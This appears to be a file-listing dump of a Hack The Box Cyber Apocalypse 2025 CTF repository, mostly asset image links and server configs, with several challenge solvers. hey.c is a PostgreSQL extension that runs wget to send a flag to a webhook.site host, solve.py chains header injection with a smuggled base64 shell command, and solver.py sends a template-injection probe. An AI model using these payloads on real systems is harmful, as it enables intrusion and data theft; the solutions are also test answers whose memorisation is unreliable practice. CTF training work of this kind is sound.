lyras_tavern -------------------------------------------------------------------------------- /secure_coding/Lyra's Tavern - Easy/config/cgi-bin.conf: -------------------------------------------------------------------------------- 1 | ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/ 2 | 3 | AllowOverride None 4 | Options +ExecCGI 5 | Require all granted 6 | AddHandler fcgid-script .cgi 7 | -------------------------------------------------------------------------------- /secure_coding/Lyra's Tavern - Easy/config/fpm.conf: -------------------------------------------------------------------------------- 1 | [global] 2 | daemonize = no 3 | error_log = /dev/stderr 4 | log_level = notice 5 | 6 | [www] 7 | user = www-data 8 | group = www-data 9 | 10 | clear_env = On 11 | 12 | listen = /run/php-fpm.sock 13 | listen.owner = www-data 14 | listen.group = www-data 15 | 16 | pm = dynamic 17 | pm.max_children = 5 18 | pm.start_servers = 2 19 | pm.min_spare_servers = 1 20 | pm.max_spare_servers = 3 -------------------------------------------------------------------------------- /secure_coding/Stoneforge's Domain/assets/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/secure_coding/Stoneforge's Domain/assets/banner.png -------------------------------------------------------------------------------- /secure_coding/Stoneforge's Domain/assets/htb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/secure_coding/Stoneforge's Domain/assets/htb.png -------------------------------------------------------------------------------- /secure_coding/Stoneforge's Domain/build_docker.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | docker build -t stoneforges_domain . 3 | docker run --name=stoneforges_domain --rm -p 80:3000 -p 445:445 -p 1337:1337 -p 1338:1338 -it stoneforges_domain 4 | -------------------------------------------------------------------------------- /secure_coding/secure_coding_arcane_auctions/assets/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/secure_coding/secure_coding_arcane_auctions/assets/flag.png -------------------------------------------------------------------------------- /web/web_aurorus_archive/assets/addm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_aurorus_archive/assets/addm.png -------------------------------------------------------------------------------- /web/web_aurorus_archive/assets/bid.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_aurorus_archive/assets/bid.png -------------------------------------------------------------------------------- /web/web_aurorus_archive/assets/bid_place.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_aurorus_archive/assets/bid_place.png -------------------------------------------------------------------------------- /web/web_aurorus_archive/assets/csti.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_aurorus_archive/assets/csti.png -------------------------------------------------------------------------------- /web/web_aurorus_archive/assets/dash.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_aurorus_archive/assets/dash.png -------------------------------------------------------------------------------- /web/web_aurorus_archive/assets/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_aurorus_archive/assets/flag.png -------------------------------------------------------------------------------- /web/web_aurorus_archive/assets/login.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_aurorus_archive/assets/login.png -------------------------------------------------------------------------------- /web/web_aurorus_archive/assets/mybid.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_aurorus_archive/assets/mybid.png -------------------------------------------------------------------------------- /web/web_aurorus_archive/assets/oauth_home.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_aurorus_archive/assets/oauth_home.png -------------------------------------------------------------------------------- /web/web_aurorus_archive/assets/oauth_issue.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_aurorus_archive/assets/oauth_issue.png -------------------------------------------------------------------------------- /web/web_aurorus_archive/assets/pass.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_aurorus_archive/assets/pass.png -------------------------------------------------------------------------------- /web/web_aurorus_archive/assets/resource.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_aurorus_archive/assets/resource.png -------------------------------------------------------------------------------- /web/web_aurorus_archive/assets/self.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_aurorus_archive/assets/self.png -------------------------------------------------------------------------------- /web/web_aurorus_archive/htb/hey.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include "postgres.h" 3 | #include "fmgr.h" 4 | 5 | #ifdef PG_MODULE_MAGIC 6 | PG_MODULE_MAGIC; 7 | #endif 8 | 9 | void _PG_init(void) 10 | { 11 | system("wget \"https://webhook.site/71c8eac2-6350-4f8b-8af2-cc8cfef4035c?x=$(/readflag)\""); 12 | } 13 | -------------------------------------------------------------------------------- /web/web_aurorus_archive/htb/index.html: -------------------------------------------------------------------------------- 1 | 16 | -------------------------------------------------------------------------------- /web/web_aurorus_archive/htb/libhey.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_aurorus_archive/htb/libhey.so -------------------------------------------------------------------------------- /web/web_eldoria_panel/README.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_eldoria_panel/README.pdf -------------------------------------------------------------------------------- /web/web_eldoria_panel/assets/claim_quest.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_eldoria_panel/assets/claim_quest.png -------------------------------------------------------------------------------- /web/web_eldoria_panel/assets/login.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_eldoria_panel/assets/login.png -------------------------------------------------------------------------------- /web/web_eldoria_panel/assets/overview.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_eldoria_panel/assets/overview.png -------------------------------------------------------------------------------- /web/web_eldoria_panel/assets/register.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_eldoria_panel/assets/register.png -------------------------------------------------------------------------------- /web/web_eldoria_realms/README.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_eldoria_realms/README.pdf -------------------------------------------------------------------------------- /web/web_eldoria_realms/assets/advanced.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_eldoria_realms/assets/advanced.png -------------------------------------------------------------------------------- /web/web_eldoria_realms/assets/capture.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_eldoria_realms/assets/capture.png -------------------------------------------------------------------------------- /web/web_eldoria_realms/assets/fellowship.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_eldoria_realms/assets/fellowship.png -------------------------------------------------------------------------------- /web/web_eldoria_realms/assets/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_eldoria_realms/assets/flag.png -------------------------------------------------------------------------------- /web/web_eldoria_realms/assets/live_updates.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_eldoria_realms/assets/live_updates.png -------------------------------------------------------------------------------- /web/web_eldoria_realms/assets/overview.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_eldoria_realms/assets/overview.png -------------------------------------------------------------------------------- /web/web_eldoria_realms/assets/quests.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_eldoria_realms/assets/quests.png -------------------------------------------------------------------------------- /web/web_eldoria_realms/assets/store.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_eldoria_realms/assets/store.png -------------------------------------------------------------------------------- /web/web_obsidian_enigma/assets/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_obsidian_enigma/assets/1.png -------------------------------------------------------------------------------- /web/web_obsidian_enigma/assets/2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_obsidian_enigma/assets/2.png -------------------------------------------------------------------------------- /web/web_obsidian_enigma/assets/banner.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_obsidian_enigma/assets/banner.png -------------------------------------------------------------------------------- /web/web_obsidian_enigma/assets/htb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_obsidian_enigma/assets/htb.png -------------------------------------------------------------------------------- /web/web_obsidian_enigma/htb/solve.py: -------------------------------------------------------------------------------- 1 | from requests import get 2 | url = 'http://localhost:1337' 3 | 4 | def quote(s): 5 | return ''.join([f'%{hex(ord(c))[2:]}' for c in s]) 6 | def dquote(s): 7 | return quote(quote(s)) 8 | 9 | from base64 import b64encode 10 | payload = b64encode(b'cat /flag* > /var/www/html/flag.txt').decode() 11 | 12 | handler = f'proxy:http://127.0.0.1/cgi-bin/attack-ip?name=asfs{quote('&')}target=::1{dquote(f"%; echo \"{payload}\" | base64 -d | bash")}{quote('&')}dummy=' 13 | 14 | get(f'{url}/cgi-bin/attack-domain?target=test&name=asdfasfd%0d%0aLocation:/as%0d%0aContent-Type:{handler}%0d%0a%0d%0a') 15 | 16 | print(get(f'{url}/flag.txt').text) -------------------------------------------------------------------------------- /web/web_trial_by_fire/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_trial_by_fire/.DS_Store -------------------------------------------------------------------------------- /web/web_trial_by_fire/assets/game.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_trial_by_fire/assets/game.png -------------------------------------------------------------------------------- /web/web_trial_by_fire/assets/preview.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_trial_by_fire/assets/preview.png -------------------------------------------------------------------------------- /web/web_trial_by_fire/assets/results.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_trial_by_fire/assets/results.png -------------------------------------------------------------------------------- /web/web_trial_by_fire/htb/solver.py: -------------------------------------------------------------------------------- 1 | import requests 2 | 3 | BASE_URL = "http://127.0.0.1:1337" # Change this if hosted elsewhere 4 | 5 | payload = "{{ 7 * 7 }}" 6 | 7 | response = requests.post(f"{BASE_URL}/battle-report", data={ 8 | "damage_dealt": payload 9 | }) 10 | 11 | print(response.text) -------------------------------------------------------------------------------- /web/web_whispers_of_the_moonbeam/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_whispers_of_the_moonbeam/.DS_Store -------------------------------------------------------------------------------- /web/web_whispers_of_the_moonbeam/assets/command_output.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_whispers_of_the_moonbeam/assets/command_output.png -------------------------------------------------------------------------------- /web/web_whispers_of_the_moonbeam/assets/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_whispers_of_the_moonbeam/assets/flag.png -------------------------------------------------------------------------------- /web/web_whispers_of_the_moonbeam/assets/preview.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_whispers_of_the_moonbeam/assets/preview.png --------------------------------------------------------------------------------